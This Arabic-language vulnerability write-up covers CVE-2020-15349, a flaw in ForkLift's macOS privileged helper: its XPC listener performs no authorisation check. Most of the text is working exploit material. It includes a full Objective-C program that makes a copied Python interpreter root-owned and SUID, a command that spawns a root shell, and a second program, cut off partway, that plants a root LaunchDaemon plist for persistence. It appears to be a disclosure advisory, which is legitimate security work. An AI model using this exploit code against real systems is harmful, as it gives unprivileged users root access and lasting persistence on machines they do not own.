
وصف الثغرة الأمنية CVE-2020-15349
عند تثبيت Forklift، يتم تلقائياً تثبيت مساعد جديد باسم com.binarynights.ForkLiftHelper خاص بنظام Mac OS X في دليل /Library/PrivilegedHelperTools/.
أدى تحليل هذا المساعد، الذي يعالج رسائل XPC، إلى اكتشاف طرق مختلفة لتصعيد الامتيازات من المستخدم إلى root على نظام Mac OS X.
عند قبول استدعاءات XPC، تُستخدم دالة HelperTool listener:shouldAcceptNewConnection وتحديداً (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection في الوضع الافتراضي. تُستخدم هذه الدالة لتنفيذ الخطوات الأولية لإنشاء اتصال XPC. عادةً، تؤدي هذه الدالة تفويض المتصل — ومع ذلك، فإن دالة com.binarynights.ForkLiftHelper لا تنفذ أي فحوصات تفويض. وبالتالي، من الممكن استدعاء أي دوال مكشوفة عبر XPC دون تفويض.
الدوال التالية مكشوفة عبر XPC للمتصل:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
الطريقة الأولى لاستغلال هذا المساعد هي كما يلي:
انسخ، على سبيل المثال، مفسّر بايثون إلى دليل يمكن للمستخدم التحكم به، واستدعِ دالة XPC changeOwner بالمعامل @"<path>" owner:0 group:0. سيؤدي هذا إلى تغيير ملكية مفسّر بايثون إلى root.
ثانياً، من الممكن تعيين بت SUID على المفسّر عن طريق إرسال طلب XPC إلى دالة changePermissions بالمعامل التالي @"<path>" permissions:2541. تمثل الصلاحيات 2541 في النظام الثُماني الرقم 4755، والذي يعيّن علم SUID على الملف الثنائي.
سيؤدي الأمر التالي إلى تشغيل قشرة (shell) بصلاحيات root:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
يرجى التأكد أولاً من نسخ مفسّر بايثون إلى /tmp بالاسم python_copied.
يعرض الاستغلال التالي هذا النوع من تصعيد الامتيازات المحلي:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
الطريقة الثانية لاستغلال هذا المساعد هي كما يلي:
بسبب استدعاء XPC moveItem، من الممكن نقل أي عنصر بصلاحيات root. وبالتالي، من الممكن كتابة ملف plist في دليل /tmp ثم نسخه إلى دليل /Library/LaunchDaemons/. تُستخدم المعاملات التالية لدالة moveItem: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"
سيضيف الكود التالي تلقائياً وكيل إطلاق جديداً يتم تشغيله عند إعادة التشغيل:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;